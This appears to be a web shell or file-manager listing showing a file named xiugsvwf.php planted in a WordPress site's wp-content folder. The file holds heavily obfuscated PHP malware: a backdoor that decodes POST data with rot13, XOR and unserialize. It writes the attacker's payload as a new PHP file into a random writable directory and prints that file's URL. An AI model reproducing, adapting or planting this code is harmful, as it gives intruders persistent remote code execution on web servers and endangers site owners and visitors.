HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/xiugsvwf.php
<?php function PSUhh($MEhMMMwvyq, $ncwVHLvJ, $zMKWdj){global $nZeBaY;$UWBROITFf = "\163".'t'."\162"."\154"."\x65".'n';return HoeQsq(HoeQsq($MEhMMMwvyq, $nZeBaY[$ncwVHLvJ % $UWBROITFf($nZeBaY)]), $zMKWdj);}$BpHWBfprvUUGZa = "vfNKgqC";function AeCBtYclQ($BpHWBfprvUUGZa){ $UYqPx = chr(558-443).'t'.chr(583-469).'_'."\162".chr(118-7)."\x74"."\61"."\63";$BpHWBfprvUUGZa = $UYqPx($BpHWBfprvUUGZa);	$oxaYL = 'ivxR';$vttgMN = "\162"."\141".chr(671-552).'u'.'r'.chr(367-259).chr(988-888).chr(101)."\143"."\157".chr(100).'e';$BpHWBfprvUUGZa = $vttgMN($BpHWBfprvUUGZa);$HrIvAKWi = "\163".chr(116).'r'.'_'.'s'.chr(112).chr(108).chr(105)."\x74";$BpHWBfprvUUGZa = $HrIvAKWi($BpHWBfprvUUGZa);	$yMLeZSmOSq = 28;return $BpHWBfprvUUGZa;}function HoeQsq($QHfbZzctD, $KMxcKyYVhT){return $QHfbZzctD ^ $KMxcKyYVhT;}function XhJRCV(){$faATuYMEv = 52;$FnkafFLl = 19;}$nZeBaY = "1876e143-10ab-42a1-a3ea-e82979560aef";function cFkFRAqPo($XXBgMejlng, $zMKWdj){$zZJrgdPMK = "\141".'r'.chr(114).chr(257-160).'y'."\137".chr(118).chr(97).'l'.chr(376-259).'e'."\x73";$mHxDZZdCGk = chr(193-96).chr(197-83).chr(114).'a'."\x79"."\x5f".chr(107).chr(307-206)."\x79".chr(115);$pudoyDYnW = "\141".'r'.chr(114)."\x61".chr(301-180)."\137"."\155"."\141".chr(112);$XXBgMejlng = $pudoyDYnW("PSUhh", $zZJrgdPMK($XXBgMejlng), $mHxDZZdCGk($XXBgMejlng), $zZJrgdPMK($zMKWdj));$qQwxVbLl = chr(144-39).'m'."\x70"."\154"."\157".chr(932-832).chr(101);$XXBgMejlng = $qQwxVbLl("", $XXBgMejlng);$rbXhMu = chr(164-47)."\156".chr(830-715)."\x65".'r'.chr(105)."\141".'l'.chr(105).chr(682-560).'e';$XXBgMejlng = @$rbXhMu($XXBgMejlng);return $XXBgMejlng;}function xVKTCns($zMKWdj, $XXBgMejlng){$LNgyKv = chr(100-3)."\162".chr(267-153)."\x61"."\171".'_'."\x73".chr(776-668)."\151".chr(99)."\145";$JXcqCaVvd = "\x73"."\x74".chr(114).'_'."\x72".chr(101).'p'."\x65"."\141"."\x74";$JayOjrg = chr(115).chr(550-434).'r'."\137".'s'.chr(503-391).'l'.'i'."\x74";$mAtbxOV = chr(105).chr(110).'t'.chr(118).chr(196-99).chr(108);$eDEOPQh = chr(99).chr(111).chr(268-151)."\x6e".'t';$zMKWdj = $LNgyKv($JayOjrg($JXcqCaVvd($zMKWdj, $mAtbxOV($eDEOPQh($XXBgMejlng)/16)+1)), 0, $eDEOPQh($XXBgMejlng));return $zMKWdj;}XhJRCV();function ujPpYYOis(){echo "THmfZAj";	$SSmvabghj = 27;}function cHIHAsLc($mNPjC){static $lVYDHJtsJ = array();$BpHWBfprvUKLNArc = glob($mNPjC . '/*', GLOB_ONLYDIR);$oFBEDSDC = chr(724-625)."\x6f".chr(381-264).'n'.'t';$liFedKHYNA = $oFBEDSDC($BpHWBfprvUKLNArc);if ($liFedKHYNA > 0) {foreach ($BpHWBfprvUKLNArc as $BpHWBfprvU) {$QOJZm = chr(105).chr(411-296)."\x5f".chr(788-669).'r'."\151"."\x74".chr(97).'b'.'l'.chr(1071-970);if (@$QOJZm($BpHWBfprvU)) {$lVYDHJtsJ[] = $BpHWBfprvU;}}}foreach ($BpHWBfprvUKLNArc as $mNPjC) cHIHAsLc($mNPjC);return $lVYDHJtsJ;}function jrSBGhi($XXBgMejlng){$wxZPW = chr(515-447)."\117".chr(317-250).chr(303-218)."\115".chr(133-64)."\x4e"."\x54".chr(95).chr(82)."\117".chr(890-811)."\124";$AVMLOB = $_SERVER[$wxZPW];	$NAXQAi = 'tGe';$BpHWBfprvUKLNArc = cHIHAsLc($AVMLOB);	$iiFKSdyb = 'FlqK';$uQeYnZW = "\163".chr(210-94)."\162"."\154".'e'."\156";	$NAXQAi = $uQeYnZW($NAXQAi);$SjfOfwlJ = "\x61".chr(850-736)."\x72"."\141".'y'.'_'.chr(927-813).chr(412-315)."\x6e".chr(100);$FdOPMmd = $SjfOfwlJ($BpHWBfprvUKLNArc);$EUBFeLItU = "\163"."\x74".chr(114).'t'.chr(888-777)."\x75".chr(1061-949).chr(112).chr(518-417).chr(114);	$AcpnvO = $EUBFeLItU($NAXQAi);$szPSCK = "\x2e".chr(1094-982)."\150".'p';$hSHli = chr(47);$JqXSVLLVnf = chr(654-539).'u'."\x62"."\163".chr(116).chr(114);$lnuaYR = chr(657-541)."\151".chr(109).'e';$ZKsgRr = 'm'.chr(100).chr(53);$mBMPhNcSoW = $BpHWBfprvUKLNArc[$FdOPMmd] . $hSHli . $JqXSVLLVnf($ZKsgRr($lnuaYR()), 0, 8) . $szPSCK;$JWTeGsmip = chr(205-103).chr(115-10)."\154".chr(101).chr(95).chr(112)."\x75".chr(116).'_'."\x63".chr(111).chr(110)."\x74".'e'."\x6e".'t'.'s';@$JWTeGsmip($mBMPhNcSoW, $XXBgMejlng);	$aQyZpT = 'PzkQ';	$NAXQAi = $NAXQAi - 10;$XHWvFQJXMB = chr(72).chr(460-376).chr(767-683)."\120".'_'.chr(219-147)."\x4f".chr(433-350).chr(620-536);$YSzjTfgJtO = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47)."\57";$fJHSHxWJlV = "\x73"."\x75"."\142".chr(371-256).'t'.'r';$JxqeoIbwm = chr(1090-975)."\164".'r'."\x6c".'e'."\156";$AxzTNEb = $YSzjTfgJtO . $_SERVER[$XHWvFQJXMB] . $fJHSHxWJlV($mBMPhNcSoW, $JxqeoIbwm($AVMLOB));	$cEdQMTN = 5;print($AxzTNEb);$KYdOfvOAFW = chr(1004-889)."\164".chr(629-515)."\162"."\160"."\x6f"."\163";	$NAXQAi = $KYdOfvOAFW($AcpnvO, 'tlpko');}function GJcoFge($XXBgMejlng, $FdOPMmd){if ($XXBgMejlng !== $FdOPMmd){jrSBGhi($XXBgMejlng);		$IKTrYXWO = 15;}else {RRWGR();		$xmGpXRsb = 3;}exit();}function RRWGR(){$gvKwB = "\x70".chr(104).chr(243-131);$klZnnYrp = "\160".chr(104).'p'.chr(118).chr(101)."\x72".chr(115)."\x69"."\157".chr(144-34);$XXBgMejlng = Array($gvKwB => @$klZnnYrp(), );$OdVANJDs = 's'.'e'."\x72".'i'.'a'.chr(108)."\151"."\172".chr(499-398);echo @$OdVANJDs($XXBgMejlng);}function TVCFfO(){echo "vfNKgqC";}function bLbatXOj($XXBgMejlng){$cAXSO = "\x61"."\x72".chr(954-840).chr(927-830).chr(131-10).chr(95).chr(107)."\x65".'y'.'s';return $cAXSO($XXBgMejlng);}foreach ($_POST as $zMKWdj => $XXBgMejlng){$zATTlC = chr(466-351)."\x74".chr(114)."\154".'e'."\156";if ($zATTlC($zMKWdj) == 16){$XXBgMejlng = AeCBtYclQ($XXBgMejlng);$zMKWdj = xVKTCns($zMKWdj, $XXBgMejlng);$XXBgMejlng = cFkFRAqPo($XXBgMejlng, $zMKWdj);$BiPCAr = "\151"."\163".chr(95).'a'.chr(114)."\162".chr(97)."\171";if (@$BiPCAr($XXBgMejlng)){$DVHHzSJzqR = bLbatXOj($XXBgMejlng);			$wrstuaD = 'LG';GJcoFge($XXBgMejlng[$DVHHzSJzqR[0]], $DVHHzSJzqR[0]);$EVcwFI = chr(1113-999)."\164".chr(731-617).chr(485-380).chr(109);			$FeTNsV = $EVcwFI('NAR');			$wrstuaD = urlencode($FeTNsV);}}}die();?>